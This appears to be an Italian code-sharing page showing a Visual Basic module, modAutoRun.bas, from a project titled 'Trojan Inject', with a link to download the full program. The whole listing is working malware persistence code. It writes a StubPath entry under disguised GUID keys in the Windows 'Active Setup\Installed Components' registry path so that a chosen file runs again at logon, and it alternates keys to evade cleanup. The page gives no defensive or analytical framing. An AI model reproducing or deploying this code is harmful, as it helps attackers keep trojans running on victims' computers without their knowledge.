Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Trojan Inject - modAutoRun.bas

modAutoRun.bas

Caricato da:
Scarica il programma completo

  1. Attribute VB_Name = "modAutoRun"
  2. Option Explicit
  3. Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _
  4. Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey _
  5. As String, ByVal ulOptions As Long, ByVal samDesired As _
  6. Long, phkResult As Long) As Long
  7. Private Declare Function RegCloseKey Lib "advapi32.dll" _
  8. (ByVal hKey As Long) As Long
  9. Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias _
  10. "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey _
  11. As String, ByVal Reserved As Long, ByVal lpClass As Long, _
  12. ByVal dwOptions As Long, ByVal samDesired As Long, ByVal _
  13. lpSecurityAttributes As Long, phkResult As Long, _
  14. lpdwDisposition As Long) As Long
  15. Private Declare Function RegDeleteKey Lib "advapi32.dll" _
  16. Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey _
  17. As String) As Long
  18. Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
  19. "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
  20. As String, ByVal Reserved As Long, ByVal dwType As Long, _
  21. lpData As Any, ByVal cbData As Long) As Long
  22. Private Const REG_SZ = 1
  23. Private Const HKEY_CURRENT_USER = &H80000001
  24. Private Const HKEY_LOCAL_MACHINE = &H80000002
  25. Private Const KEY_ALL_ACCESS = &H3F
  26. Private Const RegPath = "Software\Microsoft\Active Setup\Installed Components"
  27. Private Const DefaultKeyName1 = "{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}"
  28. Private Const DefaultKeyName2 = "{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}"
  29. Public Sub AutoRun(ByVal FilePathName As String, _
  30. Optional KeyName1 As String = DefaultKeyName1, _
  31. Optional KeyName2 As String = DefaultKeyName2)
  32. Dim RegKeyPath1 As String
  33. Dim RegKeyPath2 As String
  34. Dim hNewKey As Long
  35. Dim lRetVal As Long
  36. RegKeyPath1 = RegPath & "\" & KeyName1
  37. RegKeyPath2 = RegPath & "\" & KeyName2
  38. If RegOpenKeyEx(HKEY_LOCAL_MACHINE, RegKeyPath1, 0, _
  39. KEY_ALL_ACCESS, hNewKey) Then
  40. RegCreateKeyEx HKEY_LOCAL_MACHINE, RegKeyPath1, 0, 0, 0, _
  41. KEY_ALL_ACCESS, 0, hNewKey, lRetVal
  42. RegSetValueEx hNewKey, "StubPath", 0, REG_SZ, _
  43. ByVal FilePathName, Len(FilePathName)
  44. RegDeleteKey HKEY_LOCAL_MACHINE, RegKeyPath2
  45. RegDeleteKey HKEY_CURRENT_USER, RegKeyPath1
  46. Else
  47. RegCreateKeyEx HKEY_LOCAL_MACHINE, RegKeyPath2, 0, 0, 0, _
  48. KEY_ALL_ACCESS, 0, hNewKey, lRetVal
  49. RegSetValueEx hNewKey, "StubPath", 0, REG_SZ, _
  50. ByVal FilePathName, Len(FilePathName)
  51. RegDeleteKey HKEY_LOCAL_MACHINE, RegKeyPath1
  52. RegDeleteKey HKEY_CURRENT_USER, RegKeyPath2
  53. End If
  54.         RegCloseKey hNewKey
  55. End Sub